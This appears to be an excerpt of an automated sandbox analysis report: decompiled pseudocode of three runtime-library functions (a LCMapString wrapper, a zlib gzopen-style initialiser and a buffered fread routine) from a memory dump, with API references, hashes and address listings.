			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0xe793416e
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x0
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x0
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x00417089
0x00417090
0x00417098
0x0041709a
0x004170a0
0x004170a6
0x004170bb
0x004170c5
0x004170cb
0x004170ce
0x004170d0
0x004170d0
0x004170bd
0x004170bd
0x004170bd
0x004170bb
0x004170dd
0x00417101
0x00417101
0x00417109
0x004172bb
0x004172be
0x004172c1
0x004172c4
0x004172cb
0x004172cb
0x004172ce
0x004172d1
0x004172d8
0x004172d8
0x004172de
0x004172e4
0x004172e7
0x004172ea
0x004172f3
0x004172f6
0x004173ef
0x004173f1
0x004173f1
0x004173f4
0x004173f6
0x004173f9
0x004173fe
0x004173ff
0x00417402
0x00417404
0x00417406
0x00417409
0x0041740b
0x0041740c
0x00417411
0x00417409
0x00417412
0x00000000
0x00417412
0x00417309
0x0041730e
0x00417311
0x00417314
0x00417316
0x00000000
0x00000000
0x0041732a
0x0041732c
0x0041732f
0x00417331
0x0041733a
0x00417379
0x00417379
0x00417379
0x0041737b
0x0041737b
0x0041737d
0x00000000
0x00000000
0x00417384
0x0041739c
0x0041739e
0x004173a1
0x004173a3
0x004173bf
0x004173c1
0x004173c9
0x004173cb
0x004173cb
0x004173a5
0x004173a5
0x004173a5
0x004173cf
0x00000000
0x004173d4
0x0041733c
0x0041733f
0x00000000
0x00000000
0x00417341
0x00417344
0x00417349
0x00417362
0x00417368
0x0041736a
0x0041736c
0x00417372
0x00417372
0x00417372
0x00417375
0x00000000
0x00417375
0x0041734b
0x00417350
0x00417352
0x00417354
0x00000000
0x00000000
0x00417356
0x0041735c
0x00000000
0x0041735c
0x00417333
0x00417333
0x00000000
0x00000000
0x00000000
0x00000000
0x00417117
0x0041711a
0x004172ec
0x004172ec
0x00417414
0x00417425
0x00417425
0x00417120
0x00417126
0x0041712d
0x0041712d
0x00417130
0x00417153
0x00417155
0x00417157
0x00000000
0x0041715d
0x0041715d
0x004171a2
0x004171a2
0x004171a5
0x004171a8
0x00000000
0x00000000
0x004171c1
0x004172aa
0x004172ad
0x004172b2
0x00000000
0x004172b5
0x004171c7
0x004171db
0x004171dd
0x004171e2
0x00000000
0x00000000
0x004171ef
0x0041721a
0x0041721c
0x00417263
0x00417263
0x00417263
0x00417265
0x00417265
0x00417267
0x00417277
0x0041727d
0x0041727f
0x00417281
0x00417282
0x00417283
0x00417286
0x0041728c
0x0041728f
0x00417288
0x00417288
0x00417289
0x00417289
0x004172a0
0x004172a0
0x004172a4
0x004172a9
0x00000000
0x00417267
0x00417222
0x00417223
0x00417225
0x00417228
0x00000000
0x00000000
0x0041722a
0x0041722a
0x0041722e
0x00417233
0x0041724c
0x00417252
0x00417254
0x00417256
0x0041725c
0x0041725c
0x0041725c
0x0041725f
0x00000000
0x0041725f
0x00417235
0x0041723a
0x0041723c
0x0041723e
0x00000000
0x00000000
0x00417240
0x00417246
0x00000000
0x00417246
0x004171f4
0x00417213
0x00417213
0x00000000
0x004171f4
0x00417163
0x00417164
0x00417169
0x00000000
0x00000000
0x0041716b
0x0041716b
0x00417174
0x0041718a
0x00417190
0x00417192
0x0041719d
0x0041719d
0x00000000
0x0041719d
0x00417194
0x0041719a
0x0041719a
0x00000000
0x0041719a
0x00417176
0x0041717b
0x0041717f
0x00000000
0x00000000
0x00417181
0x00000000
0x00417181
0x00417157
0x00417109
0x004170df
0x004170e2
0x004170e5
0x004170e5
0x004170e8
0x00000000
0x00000000
0x004170ea
0x004170ed
0x00000000
0x00000000
0x004170ef
0x00000000
0x004170ef
0x004170f7
0x004170fb
0x004170fd
0x004170fd
0x004170fe
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00000000), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

0x004057b7
0x004057bf
0x004057c3
0x004057c5
0x004057cd
0x004059c8
0x004059ce
0x004057db
0x004057e3
0x004057e5
0x004057ea
0x00405921
0x0040592a
0x004057f0
0x004057f3
0x004057f6
0x004057f9
0x004057fc
0x004057ff
0x00405801
0x00405804
0x00405807
0x0040580a
0x0040580d
0x00405810
0x00405813
0x00405816
0x00405819
0x0040581c
0x00405824
0x00405827
0x0040582b
0x0040582e
0x00405831
0x00405834
0x00405837
0x00405837
0x00405839
0x0040583a
0x00405842
0x00405847
0x0040584a
0x0040584f
0x0040591c
0x0040591c
0x00000000
0x00405855
0x00405855
0x00405859
0x0040585b
0x00000000
0x00405870
0x00405872
0x00405874
0x00405874
0x00405877
0x0040587b
0x00405881
0x00405881
0x00405885
0x00405889
0x00405897
0x00405899
0x004058a5
0x004058a7
0x004058b3
0x004058b5
0x004058c1
0x004058c5
0x004058c7
0x004058c7
0x004058c8
0x004058b7
0x004058b7
0x004058b7
0x004058a9
0x004058a9
0x004058a9
0x0040589b
0x0040589b
0x0040589b
0x0040588f
0x00405892
0x00405892
0x004058cc
0x004058cf
0x00000000
0x00000000
0x004058d1
0x004058d9
0x00000000
0x00000000
0x004058db
0x004058db
0x004058e0
0x00000000
0x004058e2
0x004058e4
0x00405930
0x0040593f
0x00405942
0x00405944
0x00405949
0x0040594c
0x0040594e
0x00000000
0x00405950
0x00405950
0x00405953
0x00000000
0x00000000
0x00000000
0x00000000
0x00405953
0x004058e6
0x004058ea
0x004058ec
0x004058f1
0x004058f2
0x004058f4
0x004058f6
0x004058f8
0x004058f9
0x00405904
0x00405906
0x0040590b
0x0040590e
0x00405911
0x00405916
0x00000000
0x00405955
0x00405955
0x00405955
0x00405961
0x00405963
0x00405967
0x0040596d
0x0040596e
0x0040597c
0x0040597d
0x00405970
0x00405970
0x00405974
0x00405975
0x00405975
0x00405985
0x00405988
0x0040598a
0x00000000
0x0040598c
0x0040598c
0x00405990
0x004059a5
0x004059ad
0x004059b6
0x004059b6
0x004059b9
0x004059c5
0x00405992
0x00405992
0x004059a2
0x004059a2
0x00405990
0x0040598a
0x00405916
0x004058e4
0x00000000
0x00405860
0x00405860
0x00405862
0x00405864
0x00405865
0x00405868
0x00000000
0x0040586a
0x0040586a
0x0040586d
0x00000000
0x00405868
0x0040584f
0x004057ea
0x00000000

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2, Relevance: 10.7, APIs: 7, Instructions: 189
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
